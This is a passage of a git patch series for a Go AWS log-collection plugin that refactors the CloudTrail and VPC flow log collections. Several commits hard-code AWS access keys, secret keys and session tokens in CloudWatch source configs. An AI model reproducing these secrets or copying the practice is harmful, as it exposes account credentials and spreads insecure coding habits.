"IQoJb3JpZ2luX2VjEFQaCXVzLWVhc3QtMiJIMEYCIQCQZSo4wDMbOkp3tDJIT7N825klJrP5G0MNyUCrMsVLKgIhALQ07bWzfoNgUxHcQpxn15w2dwZUK5awABAUmKcXSnXgKoYDCC0QAxoMMDk3MzUwODc2NDU1Igz/AKtTka19aFUqgngq4wIsRk/Mu/shGA9zsHCjd8lQAHuazr9+6LKIdGstvfsk4BaYnb/WGAHcEOMhKfkpqmqolHB4OTCZWKj5fcQKwx+UfwvtqZ7DktbIJDlYcUm0Rc7Gyn5W+FvcxCWQLUCwEs3uCVH7sz3zoszJCI8OjRkrhVXMKUsRS5wZ8PYaVheiMCN7319UQcj7v8x3SLr2ex4aF3xXmHgAJYV0t6Y4SiHKYZXL3t/JfP5hvG1/DNHbryfYIaRybyl3ulpXZ19jU77Ki1yjSQXLlD7sbR2STtx1hEUjmMM0z0dOfIrTwVbi7eaf4i0NKGG1FxsM7p2oqXSSjya6INzfZlJixw+KETo8L2Y0CwVycxqrYNxDjJX+wlBBVXFSKxXtljQl3+bCmXNAmixnsdkdDzhDsCCVeshz3RR+omFzkEFstCoSjH1XtQyfUrMBAYe0zOGklo7Pi1voXJp8v4B4iZqhAhz+2MUr9TqPMPSv6bQGOqUBpHVwsRrK1+a9JYetSw6c5A43jli1PtaxoAdGQtMCfSWq7SQf2EywiZJA9kwlILOumObODQZQwuBXPMZ+6dwuaeQIlUsUPW4DU/F2whyTTBfgYwyOw/wZTnIOOdCaR04JcUZIla6ty+cBduHhN0w8TO5XdCSqzNH9rMsDYQgcZD+o+UDVOqhIj6Cg0cZrxzhrC2AEKI8e/CzuP51gl3HUonvRSwuQ", + LogGroupName: "/victor/vpc/flowlog", + LogStreamPrefix: utils.ToStringPointer("eni-000b"), + StartTime: time.Now().Add(-time.Hour * 24), + EndTime: time.Now(), }) + // create empty paging data to pass to source + // TODO maybe source creates for itself?? + pagingData, err := c.NewPagingData() + if err != nil { + return nil, fmt.Errorf("error creating paging data: %w", err) + } + source, err := row_source.NewArtifactRowSource( artifactSource, + pagingData, // we expect a log row per line of log data row_source.WithRowPerLine(), ) @@ -180,3 +214,9 @@ func (c *FlowlogLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrich return record, nil } + +func (c *FlowlogLogCollection) NewPagingData() (paging.Data, error) { + // TODO use config to determine the type of paging data to return + // hard coded to cloudwatch for now + return paging.NewCloudwatch(), nil +} diff --git a/aws_source/cloudtrail_mapper.go b/aws_source/cloudtrail_mapper.go index 3f40477d..49273e22 100644 --- a/aws_source/cloudtrail_mapper.go +++ b/aws_source/cloudtrail_mapper.go @@ -24,9 +24,9 @@ func (c *CloudtrailMapper) Identifier() string { // Map casts the data item as an AWSCloudTrailBatch and returns the records func (c *CloudtrailMapper) Map(_ context.Context, a *artifact.ArtifactData) ([]*artifact.ArtifactData, error) { - // TODO will data always be a JSON? - // the expected input type is a JSON string deserializable to AWSCloudTrailBatch - // convert from char[] to string + // the expected input type is a JSON string deserializable to AWSCloudTrailBatch + + // TODO why is this string not byte[] jsonBytes, ok := a.Data.([]byte) if !ok { return nil, fmt.Errorf("expected byte[], got %T", a) From a3c184ab099d57a743085761869d901db102120b Mon Sep 17 00:00:00 2001 From: kai Date: Tue, 23 Jul 2024 14:35:09 +0100 Subject: [PATCH 022/180] tidy naming, ensure interface functions are implemented --- aws_types/{aws_flowlog.go => aws_vpc_flow_log.go} | 7 ++++--- .../{aws_flowlog_test.go => aws_vpc_flow_log_test.go} | 4 ++-- 2 files changed, 6 insertions(+), 5 deletions(-) rename aws_types/{aws_flowlog.go => aws_vpc_flow_log.go} (97%) rename aws_types/{aws_flowlog_test.go => aws_vpc_flow_log_test.go} (95%) diff --git a/aws_types/aws_flowlog.go b/aws_types/aws_vpc_flow_log.go similarity index 97% rename from aws_types/aws_flowlog.go rename to aws_types/aws_vpc_flow_log.go index 48dfb72b..f4c7c25f 100644 --- a/aws_types/aws_flowlog.go +++ b/aws_types/aws_vpc_flow_log.go @@ -9,7 +9,8 @@ import ( "time" ) -type FlowLog struct { +// TODO is trhere an existing amazon sdk type we can use +type AwsVpcFlowLog struct { // embed required enrichment fields (be sure to skip in parquet) enrichment.CommonFields `parquet:"-"` @@ -57,7 +58,7 @@ type FlowLog struct { // fromString -func FlowLogFromString(rowString string, schema []string) (*FlowLog, error) { +func FlowLogFromString(rowString string, schema []string) (*AwsVpcFlowLog, error) { fields := strings.Fields(rowString) @@ -66,7 +67,7 @@ func FlowLogFromString(rowString string, schema []string) (*FlowLog, error) { return nil, fmt.Errorf("row has more fields than schema allows") } - flowLog := &FlowLog{} + flowLog := &AwsVpcFlowLog{} for i, field := range fields { // skip empty fields if field == "-" { diff --git a/aws_types/aws_flowlog_test.go b/aws_types/aws_vpc_flow_log_test.go similarity index 95% rename from aws_types/aws_flowlog_test.go rename to aws_types/aws_vpc_flow_log_test.go index 9aa03a63..aac1161d 100644 --- a/aws_types/aws_flowlog_test.go +++ b/aws_types/aws_vpc_flow_log_test.go @@ -14,7 +14,7 @@ func TestFlowLogFromString(t *testing.T) { tests := []struct { name string args args - want *FlowLog + want *AwsVpcFlowLog wantErr bool }{ { @@ -27,7 +27,7 @@ func TestFlowLogFromString(t *testing.T) { "interface-id", }, }, - want: &FlowLog{ + want: &AwsVpcFlowLog{ Version: utils.ToPointer[int32](2), AccountID: utils.ToStringPointer("123456789012"), InterfaceID: utils.ToStringPointer("eni-1235b8ca"), From 17cfe641bbe5c47fb89fc83dad1517e512afdb5f Mon Sep 17 00:00:00 2001 From: kai Date: Tue, 23 Jul 2024 14:35:20 +0100 Subject: [PATCH 023/180] tidy naming, ensure interface functions are implemented --- aws/plugin.go | 2 +- aws_collection/cloudtrail_log_collection.go | 73 +++++---- ...llection.go => vpc_flow_log_collection.go} | 144 +++++++++--------- ...g.go => vpc_flow_log_collection_config.go} | 4 +- 4 files changed, 119 insertions(+), 104 deletions(-) rename aws_collection/{flowlog_log_collection.go => vpc_flow_log_collection.go} (69%) rename aws_collection/{flow_log_collection_config.go => vpc_flow_log_collection_config.go} (83%) diff --git a/aws/plugin.go b/aws/plugin.go index e657f0bb..8be9d6ce 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -18,7 +18,7 @@ func NewPlugin() (plugin.TailpipePlugin, error) { time.Sleep(10 * time.Second) slog.Info("YAWN") // register collections which we support - err := p.RegisterCollections(aws_collection.NewCloudTrailLogCollection, aws_collection.NewFlowlogLogCollection) + err := p.RegisterCollections(aws_collection.NewCloudTrailLogCollection, aws_collection.NewVPCFlowLogLogCollection) if err != nil { return nil, err } diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index 24912ae4..89c99d02 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -19,6 +19,7 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/plugin" ) +// CloudTrailLogCollection - collection for CloudTrail logs type CloudTrailLogCollection struct { // all collections must embed collection.Base collection.Base @@ -31,18 +32,12 @@ func NewCloudTrailLogCollection() plugin.Collection { return &CloudTrailLogCollection{} } -// Identifier implements Collection +// Identifier implements plugin.Collection func (c *CloudTrailLogCollection) Identifier() string { return "aws_cloudtrail_log" } -// GetRowStruct implements Collection -// return an instance of the row struct -func (c *CloudTrailLogCollection) GetRowStruct() any { - return aws_types.AWSCloudTrail{} -} - -// Init implements Collection +// Init implements plugin.Collection func (c *CloudTrailLogCollection) Init(ctx context.Context, configData []byte) error { // TEMP - this will actually parse (or the base will) // unmarshal the config @@ -66,29 +61,26 @@ func (c *CloudTrailLogCollection) Init(ctx context.Context, configData []byte) e return c.AddSource(source) } -func (c *CloudTrailLogCollection) getSource(config *CloudTrailLogCollectionConfig) (plugin.RowSource, error) { - sourceConfig := &artifact.FileSystemSourceConfig{Paths: config.Paths, Extensions: []string{".gz"}} - - artifactSource := artifact.NewFileSystemSource(sourceConfig) - artifactMapper := aws_source.NewCloudtrailMapper() - - // create empty paging data to pass to source - // TODO maybe source creates for itself?? - pagingData, err := c.NewPagingData() - if err != nil { - return nil, fmt.Errorf("error creating paging data: %w", err) - } - - source, err := row_source.NewArtifactRowSource(artifactSource, pagingData, row_source.WithMapper(artifactMapper)) +// GetRowSchema implements plugin.Collection +func (c *CloudTrailLogCollection) GetRowSchema() any { + return aws_types.AWSCloudTrail{} +} - if err != nil { - return nil, fmt.Errorf("error creating artifact row source: %w", err) - } +// GetConfigSchema implements plugin.Collection +func (c *CloudTrailLogCollection) GetConfigSchema() any { + return CloudTrailLogCollectionConfig{} +} - return source, nil +// GetPagingDataSchema implements plugin.Collection +func (c *CloudTrailLogCollection) GetPagingDataSchema() (paging.Data, error) { + // TODO use config to determine correct paging data + // TODO move to source??? + // TODO use config to determine the type of paging data to return + // hard coded to cloudwatch for now + return paging.NewCloudwatch(), nil } -// EnrichRow implements RowEnricher +// EnrichRow implements plugin.Collection func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // row must be an AWSCloudTrail record, ok := row.(aws_types.AWSCloudTrail) @@ -137,10 +129,25 @@ func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields *enr return record, nil } -// TODO use config to determine correct paging data -// TODO move to source??? -func (c *CloudTrailLogCollection) NewPagingData() (paging.Data, error) { - // TODO use config to determine the type of paging data to return - // hard coded to cloudwatch for now - return paging.NewCloudwatch(), nil +// use the config to configure the Source +func (c *CloudTrailLogCollection) getSource(config *CloudTrailLogCollectionConfig) (plugin.RowSource, error) { + sourceConfig := &artifact.FileSystemSourceConfig{Paths: config.Paths, Extensions: []string{".gz"}} + + artifactSource := artifact.NewFileSystemSource(sourceConfig) + artifactMapper := aws_source.NewCloudtrailMapper() + + // create empty paging data to pass to source + // TODO maybe source creates for itself?? + pagingData, err := c.GetPagingDataSchema() + if err != nil { + return nil, fmt.Errorf("error creating paging data: %w", err) + } + + source, err := row_source.NewArtifactRowSource(artifactSource, pagingData, row_source.WithMapper(artifactMapper)) + + if err != nil { + return nil, fmt.Errorf("error creating artifact row source: %w", err) + } + + return source, nil } diff --git a/aws_collection/flowlog_log_collection.go b/aws_collection/vpc_flow_log_collection.go similarity index 69% rename from aws_collection/flowlog_log_collection.go rename to aws_collection/vpc_flow_log_collection.go index 595fe4ed..6ecc54df 100644 --- a/aws_collection/flowlog_log_collection.go +++ b/aws_collection/vpc_flow_log_collection.go @@ -19,30 +19,30 @@ import ( //"github.com/turbot/tailpipe-plugin-sdk/source" ) -type FlowlogLogCollection struct { +// VPCFlowLogLogCollection - collection for VPC Flow Logs +type VPCFlowLogLogCollection struct { // all collections must embed collection.Base collection.Base // the collection config - Config *FlowLogCollectionConfig + Config *VpcFlowLogCollectionConfig } -func NewFlowlogLogCollection() plugin.Collection { - l := &FlowlogLogCollection{} +func NewVPCFlowLogLogCollection() plugin.Collection { + l := &VPCFlowLogLogCollection{} return l } -// GetRowStruct implements Collection -// return an instance of the row struct -func (c *FlowlogLogCollection) GetRowStruct() any { - return aws_types.FlowLog{} +// Identifier implements plugin.Collection +func (c *VPCFlowLogLogCollection) Identifier() string { + return "aws_vpc_flow_log" } -// Init implements Collection -func (c *FlowlogLogCollection) Init(ctx context.Context, configData []byte) error { +// Init implements plugin.Collection +func (c *VPCFlowLogLogCollection) Init(ctx context.Context, configData []byte) error { // TEMP - this will actually parse (or the base will) // unmarshal the config - config := &FlowLogCollectionConfig{ + config := &VpcFlowLogCollectionConfig{ Paths: []string{"/Users/kai/tailpipe_data/flowlog"}, // use defaults when using cloudwatch // //Fields: []string{"timestamp", @@ -86,64 +86,26 @@ func (c *FlowlogLogCollection) Init(ctx context.Context, configData []byte) erro return c.AddSource(source) } -func (c *FlowlogLogCollection) getSource(ctx context.Context, config *FlowLogCollectionConfig) (plugin.RowSource, error) { - - // TODO populate from config - //sourceConfig := &artifact.AwsS3BucketSourceConfig{ - // Bucket: "silverwater-flowlog-s3-bucket", - // Extensions: []string{".gz"}, - // AccessKey: "", - // SecretKey: "", - // SessionToken: "", - //} - // - //artifactSource, err := artifact.NewAwsS3BucketSource(sourceConfig) - //if err != nil { - // return nil, fmt.Errorf("error creating s3 bucket source: %w", err) - //} - - //artifactSource := artifact.NewFileSystemSource(&artifact.FileSystemSourceConfig{ - // Paths: config.Paths, - // Extensions: []string{".gz"}, - //}) - - artifactSource, err := artifact.NewAwsCloudWatchSource(ctx, &artifact.AwsCloudWatchSourceConfig{ - AccessKey: "ASIARNKUQPUTWCYZF7H3", - SecretKey: "mKasF5qHQ0ejKr5xAC0xh4Iz6shFeNvr0pJGuVmW", - SessionToken: "IQoJb3JpZ2luX2VjEFQaCXVzLWVhc3QtMiJIMEYCIQCQZSo4wDMbOkp3tDJIT7N825klJrP5G0MNyUCrMsVLKgIhALQ07bWzfoNgUxHcQpxn15w2dwZUK5awABAUmKcXSnXgKoYDCC0QAxoMMDk3MzUwODc2NDU1Igz/AKtTka19aFUqgngq4wIsRk/Mu/shGA9zsHCjd8lQAHuazr9+6LKIdGstvfsk4BaYnb/WGAHcEOMhKfkpqmqolHB4OTCZWKj5fcQKwx+UfwvtqZ7DktbIJDlYcUm0Rc7Gyn5W+FvcxCWQLUCwEs3uCVH7sz3zoszJCI8OjRkrhVXMKUsRS5wZ8PYaVheiMCN7319UQcj7v8x3SLr2ex4aF3xXmHgAJYV0t6Y4SiHKYZXL3t/JfP5hvG1/DNHbryfYIaRybyl3ulpXZ19jU77Ki1yjSQXLlD7sbR2STtx1hEUjmMM0z0dOfIrTwVbi7eaf4i0NKGG1FxsM7p2oqXSSjya6INzfZlJixw+KETo8L2Y0CwVycxqrYNxDjJX+wlBBVXFSKxXtljQl3+bCmXNAmixnsdkdDzhDsCCVeshz3RR+omFzkEFstCoSjH1XtQyfUrMBAYe0zOGklo7Pi1voXJp8v4B4iZqhAhz+2MUr9TqPMPSv6bQGOqUBpHVwsRrK1+a9JYetSw6c5A43jli1PtaxoAdGQtMCfSWq7SQf2EywiZJA9kwlILOumObODQZQwuBXPMZ+6dwuaeQIlUsUPW4DU/F2whyTTBfgYwyOw/wZTnIOOdCaR04JcUZIla6ty+cBduHhN0w8TO5XdCSqzNH9rMsDYQgcZD+o+UDVOqhIj6Cg0cZrxzhrC2AEKI8e/CzuP51gl3HUonvRSwuQ", - LogGroupName: "/victor/vpc/flowlog", - LogStreamPrefix: utils.ToStringPointer("eni-000b"), - StartTime: time.Now().Add(-time.Hour * 24), - EndTime: time.Now(), - }) - - // create empty paging data to pass to source - // TODO maybe source creates for itself?? - pagingData, err := c.NewPagingData() - if err != nil { - return nil, fmt.Errorf("error creating paging data: %w", err) - } - - source, err := row_source.NewArtifactRowSource( - artifactSource, - pagingData, - // we expect a log row per line of log data - row_source.WithRowPerLine(), - ) - if err != nil { - return nil, fmt.Errorf("error creating artifact row source: %w", err) - } +// GetRowSchema implements plugin.Collection +// return an instance of the row struct +func (c *VPCFlowLogLogCollection) GetRowSchema() any { + return aws_types.AwsVpcFlowLog{} +} - return source, nil +// GetPagingDataSchema implements plugin.Collection +func (c *VPCFlowLogLogCollection) GetPagingDataSchema() (paging.Data, error) { + // TODO use config to determine the type of paging data to return + // hard coded to cloudwatch for now + return paging.NewCloudwatch(), nil } -// Identifier implements Collection -func (c *FlowlogLogCollection) Identifier() string { - return "aws_flow_log" +// GetConfigSchema implements plugin.Collection +func (c *VPCFlowLogLogCollection) GetConfigSchema() any { + return VpcFlowLogCollectionConfig{} } -// EnrichRow implements RowEnricher -func (c *FlowlogLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { +// EnrichRow implements plugin.Collection +func (c *VPCFlowLogLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // row must be a string rowString, ok := row.(string) if !ok { @@ -215,8 +177,54 @@ func (c *FlowlogLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrich } -func (c *FlowlogLogCollection) NewPagingData() (paging.Data, error) { - // TODO use config to determine the type of paging data to return - // hard coded to cloudwatch for now - return paging.NewCloudwatch(), nil +// use the config to configure the Source +func (c *VPCFlowLogLogCollection) getSource(ctx context.Context, config *VpcFlowLogCollectionConfig) (plugin.RowSource, error) { + + // TODO populate from config + //sourceConfig := &artifact.AwsS3BucketSourceConfig{ + // Bucket: "silverwater-flowlog-s3-bucket", + // Extensions: []string{".gz"}, + // AccessKey: "", + // SecretKey: "", + // SessionToken: "", + //} + // + //artifactSource, err := artifact.NewAwsS3BucketSource(sourceConfig) + //if err != nil { + // return nil, fmt.Errorf("error creating s3 bucket source: %w", err) + //} + + //artifactSource := artifact.NewFileSystemSource(&artifact.FileSystemSourceConfig{ + // Paths: config.Paths, + // Extensions: []string{".gz"}, + //}) + + artifactSource, err := artifact.NewAwsCloudWatchSource(ctx, &artifact.AwsCloudWatchSourceConfig{ + AccessKey: "ASIARNKUQPUT75NBF3WU", + SecretKey: "R1cB+xJrGo12btp9K3abxtg4QuTr880zOWRAYRbD", + SessionToken: "IQoJb3JpZ2luX2VjELH//////////wEaCXVzLWVhc3QtMiJHMEUCIQDmzhz7qZpGdGBsCxxM9EX7aDOpZI5cYkyWYnsBKtRcbwIgKKXrltoeHUdC0fudFXeC29umNGngk8sClVGvBHwGj3UqjwMIiv//////////ARADGgwwOTczNTA4NzY0NTUiDLsl05hNSFLze2TTCyrjAhz+vNi8yxuOP+SMj+ZvFA8EfkVWUOR//HABPXAU6sk8mP99T4xkxok/r/ib7wuIBL9CFhTZrJESHKwHGnvNJZRWbzBNQ586Pq+hVBudrORW5upTgic2/CPuH1qXBqmDT8Jnkhol2nPb+waxsWwHV5pGL5Cn2aVKeCyknS1DNdTOFnkOxMW19SZteC2xEnSzLqAfPFQe+5FzaYvCu/29PtOUuZYbHM/h5RGar7kmlVDpTWKaaPXDNWHxMRxQR6hgxZ3nZEA7D44ok5tLiCwNME1dXMSYVjiEXRyCZEZqOfHATZH9/uQpLEVpdXtNU27YaugmjucI4dmeMyjaX+wGyd361kGfoY9lQceu5inRS86BB6uPFi8S1w3lfbdqW/ZPpIdgjJ0fP1I9VVmLuTdGSGrq0OdoColOPjOusBV7pmdTv/UvqRhLRtTj975MlF/kVnRrnTB6YIIR6g9VDjkJ/ARX/tsw6+f9tAY6pgE+JL4P4PKd0nEr8jnMFfDvb85TYOege8Dagrr2fU9VkGIW8a1HtqAU+MNBW9x9kl12raTtJBj9agne6BgPAseqCr/x1aV2s5QtUqtL0drWG4oh+RpU+DUgDrc93ZrKw6+H7KNRpBNGK6egZKsjmomWfT+ZLihjk0ZPe+dRHDv49KnjO8xgLfDCKFFAB2UOQLHsdhx4hYpPPcIHe/onYrI0PCilboia", + LogGroupName: "/victor/vpc/flowlog", + LogStreamPrefix: utils.ToStringPointer("eni"), + StartTime: time.Now().Add(-time.Hour * 24), + EndTime: time.Now(), + }) + + // create empty paging data to pass to source + // TODO maybe source creates for itself?? + pagingData, err := c.GetPagingDataSchema() + if err != nil { + return nil, fmt.Errorf("error creating paging data: %w", err) + } + + source, err := row_source.NewArtifactRowSource( + artifactSource, + pagingData, + // we expect a log row per line of log data + row_source.WithRowPerLine(), + ) + if err != nil { + return nil, fmt.Errorf("error creating artifact row source: %w", err) + } + + return source, nil } diff --git a/aws_collection/flow_log_collection_config.go b/aws_collection/vpc_flow_log_collection_config.go similarity index 83% rename from aws_collection/flow_log_collection_config.go rename to aws_collection/vpc_flow_log_collection_config.go index b0c0a4db..547e9b75 100644 --- a/aws_collection/flow_log_collection_config.go +++ b/aws_collection/vpc_flow_log_collection_config.go @@ -17,7 +17,7 @@ var DefaultFlowLogFields = []string{ "log-status", } -type FlowLogCollectionConfig struct { +type VpcFlowLogCollectionConfig struct { // the path to the flow log files Paths []string `hcl:"paths"` @@ -25,7 +25,7 @@ type FlowLogCollectionConfig struct { Fields []string `hcl:"fields"` } -func (c *FlowLogCollectionConfig) Init() error { +func (c *VpcFlowLogCollectionConfig) Init() error { if len(c.Fields) == 0 { c.Fields = DefaultFlowLogFields } From 0cbdb966ad6d08cafe799b1ba4dab165d5e77ebd Mon Sep 17 00:00:00 2001 From: Graza Date: Thu, 25 Jul 2024 14:22:49 +0100 Subject: [PATCH 024/180] fix: Makefile --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index b828abf3..5c893320 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ # Paths PLUGIN_NAME=tailpipe-plugin-aws.plugin -PLUGIN_DIR=~/.tailpipe/plugins +PLUGIN_DIR=~/.tailpipe/plugins/ # Build in development mode by default .PHONY: default From 4b4ba3de53553ef591e54282d85ce9b6ef737bff Mon Sep 17 00:00:00 2001 From: kai Date: Thu, 25 Jul 2024 10:47:11 +0100 Subject: [PATCH 025/180] comments --- aws_collection/cloudtrail_log_collection.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index 89c99d02..94c7bb1d 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -39,7 +39,7 @@ func (c *CloudTrailLogCollection) Identifier() string { // Init implements plugin.Collection func (c *CloudTrailLogCollection) Init(ctx context.Context, configData []byte) error { - // TEMP - this will actually parse (or the base will) + // TODO #config TEMP - this will actually parse (or the base will) // unmarshal the config config := &CloudTrailLogCollectionConfig{ Paths: []string{"/Users/kai/tailpipe_data/flaws_cloudtrail_logs"}, @@ -53,7 +53,7 @@ func (c *CloudTrailLogCollection) Init(ctx context.Context, configData []byte) e c.Config = config // todo validate config - // todo create source from config + // todo #config create source from config source, err := c.getSource(c.Config) if err != nil { return err From 5795000861fc9ffa9ebbab12a7d57c5c2e39b5bc Mon Sep 17 00:00:00 2001 From: kai Date: Thu, 25 Jul 2024 18:17:05 +0100 Subject: [PATCH 026/180] tidy --- aws/plugin.go | 5 ++-- aws_collection/vpc_flow_log_collection.go | 32 ++++++++++++++--------- 2 files changed, 22 insertions(+), 15 deletions(-) diff --git a/aws/plugin.go b/aws/plugin.go index 8be9d6ce..ce3efa82 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -4,7 +4,6 @@ import ( "github.com/turbot/tailpipe-plugin-aws/aws_collection" "github.com/turbot/tailpipe-plugin-sdk/plugin" "log/slog" - "time" ) type Plugin struct { @@ -15,8 +14,8 @@ func NewPlugin() (plugin.TailpipePlugin, error) { p := &Plugin{} slog.Info("AWS Plugin starting") - time.Sleep(10 * time.Second) - slog.Info("YAWN") + //time.Sleep(10 * time.Second) + //slog.Info("YAWN") // register collections which we support err := p.RegisterCollections(aws_collection.NewCloudTrailLogCollection, aws_collection.NewVPCFlowLogLogCollection) if err != nil { diff --git a/aws_collection/vpc_flow_log_collection.go b/aws_collection/vpc_flow_log_collection.go index 6ecc54df..27eb1a5a 100644 --- a/aws_collection/vpc_flow_log_collection.go +++ b/aws_collection/vpc_flow_log_collection.go @@ -3,6 +3,9 @@ package aws_collection import ( "context" "fmt" + "os" + "time" + "github.com/rs/xid" "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/aws_types" @@ -13,10 +16,6 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/paging" "github.com/turbot/tailpipe-plugin-sdk/plugin" "github.com/turbot/tailpipe-plugin-sdk/row_source" - "time" - //"github.com/turbot/tailpipe-plugin-sdk/collection" - //sdkconfig "github.com/turbot/tailpipe-plugin-sdk/config" - //"github.com/turbot/tailpipe-plugin-sdk/source" ) // VPCFlowLogLogCollection - collection for VPC Flow Logs @@ -179,9 +178,12 @@ func (c *VPCFlowLogLogCollection) EnrichRow(row any, sourceEnrichmentFields *enr // use the config to configure the Source func (c *VPCFlowLogLogCollection) getSource(ctx context.Context, config *VpcFlowLogCollectionConfig) (plugin.RowSource, error) { - // TODO populate from config - //sourceConfig := &artifact.AwsS3BucketSourceConfig{ + //srcConfig := &artifact.AwsS3BucketSourceConfig{ + // SourceConfigBase: artifact.SourceConfigBase{ + // // TODO #config where do we configure this + // TmpDir: os.TempDir(), + // }, // Bucket: "silverwater-flowlog-s3-bucket", // Extensions: []string{".gz"}, // AccessKey: "", @@ -195,19 +197,25 @@ func (c *VPCFlowLogLogCollection) getSource(ctx context.Context, config *VpcFlow //} //artifactSource := artifact.NewFileSystemSource(&artifact.FileSystemSourceConfig{ + // Paths: config.Paths, // Extensions: []string{".gz"}, //}) - - artifactSource, err := artifact.NewAwsCloudWatchSource(ctx, &artifact.AwsCloudWatchSourceConfig{ - AccessKey: "ASIARNKUQPUT75NBF3WU", - SecretKey: "R1cB+xJrGo12btp9K3abxtg4QuTr880zOWRAYRbD", - SessionToken: "IQoJb3JpZ2luX2VjELH//////////wEaCXVzLWVhc3QtMiJHMEUCIQDmzhz7qZpGdGBsCxxM9EX7aDOpZI5cYkyWYnsBKtRcbwIgKKXrltoeHUdC0fudFXeC29umNGngk8sClVGvBHwGj3UqjwMIiv//////////ARADGgwwOTczNTA4NzY0NTUiDLsl05hNSFLze2TTCyrjAhz+vNi8yxuOP+SMj+ZvFA8EfkVWUOR//HABPXAU6sk8mP99T4xkxok/r/ib7wuIBL9CFhTZrJESHKwHGnvNJZRWbzBNQ586Pq+hVBudrORW5upTgic2/CPuH1qXBqmDT8Jnkhol2nPb+waxsWwHV5pGL5Cn2aVKeCyknS1DNdTOFnkOxMW19SZteC2xEnSzLqAfPFQe+5FzaYvCu/29PtOUuZYbHM/h5RGar7kmlVDpTWKaaPXDNWHxMRxQR6hgxZ3nZEA7D44ok5tLiCwNME1dXMSYVjiEXRyCZEZqOfHATZH9/uQpLEVpdXtNU27YaugmjucI4dmeMyjaX+wGyd361kGfoY9lQceu5inRS86BB6uPFi8S1w3lfbdqW/ZPpIdgjJ0fP1I9VVmLuTdGSGrq0OdoColOPjOusBV7pmdTv/UvqRhLRtTj975MlF/kVnRrnTB6YIIR6g9VDjkJ/ARX/tsw6+f9tAY6pgE+JL4P4PKd0nEr8jnMFfDvb85TYOege8Dagrr2fU9VkGIW8a1HtqAU+MNBW9x9kl12raTtJBj9agne6BgPAseqCr/x1aV2s5QtUqtL0drWG4oh+RpU+DUgDrc93ZrKw6+H7KNRpBNGK6egZKsjmomWfT+ZLihjk0ZPe+dRHDv49KnjO8xgLfDCKFFAB2UOQLHsdhx4hYpPPcIHe/onYrI0PCilboia", + srcConfig := &artifact.AwsCloudWatchSourceConfig{ + SourceConfigBase: artifact.SourceConfigBase{ + // TODO #config where do we configure this + TmpDir: os.TempDir(), + }, + AccessKey: "ASIARNKUQPUT2DKH2CJH", + SecretKey: "o3W4OjtkAs418H4h/rJGcorIHQVWw8qVGCFXTW0Y", + SessionToken: "IQoJb3JpZ2luX2VjEOf//////////wEaCXVzLWVhc3QtMiJIMEYCIQCMQtQOXk2UvNDtrKpGVv/KpXph86EJ8LVnGK+RZM5epQIhAO3oruAIomKUK8ljVNcQrBL7CtkkHJsSboBX9FrF/pwUKo8DCMD//////////wEQAxoMMDk3MzUwODc2NDU1Igxp82/qL0ja9Ki1M90q4wLDWC+4stlMrQYQV2hGIZXekIRClllYiwyzModW5cx1lVDnp1s1Twnm2eDcA707NzMX5v5k6p+A2svLx6JUg2ymGOBHB067IyanCXNCzGK/+FG+Ec2L419r2Jt+sxspvNthcQhkVFAPIkdFBCr0cdcIc60IrVF5TCHhsf94bQHRE/NXGwwZeeUZiXCaz6QQDsr56+p/bGHR1QTxLfwZWSNs/tI1IuTRaiBk0LOfACgWAYWq5VWwDQbqoYCIBOU+rpH/YNNmsUgQQbIS9VKbu2vuAoUeXuOiST2J5YRriX+potowmnICtkEFuIAfpuYz6uA4xwT3fOtQNjs3dEfKjus7ZrFv0oO3PtUHWGC3Nsn0y2/jkwYlasTekfKNd0Wz/cnKwEjtNWWFw1+MXNbocGc9lBulmN4StMOTUI/jQdlm3tXJ861CD+4Qm23aulw9IFZODdL7dHcHx1gIPAsNt1qeXEgOMIvLibUGOqUBBoIM4Qt+VO0jO/1Li4WEfPB/Pd3+D12VaPwC7503YtNEaZOg9SmWeXht/G9Fq6B+bUsNrA0ADAFLotr4QZZsUST2BJU5lf3vAIbi9tH4WUMzY4kK7huqax3TICN7kuRO/kxbWvXyeqTPOayi47xgEOc5YiRhyuyjZfwxpZdJVxvOG+AOoqbhphRe9DvbVhUylrKDj0FpH93zuDOYUl0a7PCBM1ns", LogGroupName: "/victor/vpc/flowlog", LogStreamPrefix: utils.ToStringPointer("eni"), StartTime: time.Now().Add(-time.Hour * 24), EndTime: time.Now(), - }) + } + + artifactSource, err := artifact.NewAwsCloudWatchSource(ctx, srcConfig) // create empty paging data to pass to source // TODO maybe source creates for itself?? From a6583004d71059fe810111339b22ce981f417f94 Mon Sep 17 00:00:00 2001 From: kai Date: Mon, 29 Jul 2024 17:47:40 +0100 Subject: [PATCH 027/180] Add GetPagingData to RowSource if plugin.Base.OnCompleted now flushes row buffer --- aws_collection/cloudtrail_log_collection.go | 1 + 1 file changed, 1 insertion(+) diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index 94c7bb1d..6638501a 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -72,6 +72,7 @@ func (c *CloudTrailLogCollection) GetConfigSchema() any { } // GetPagingDataSchema implements plugin.Collection +// TODO #paging data HARD CODED for now func (c *CloudTrailLogCollection) GetPagingDataSchema() (paging.Data, error) { // TODO use config to determine correct paging data // TODO move to source??? From 5a9a7a223028ed7110d794726665e337f91f5a46 Mon Sep 17 00:00:00 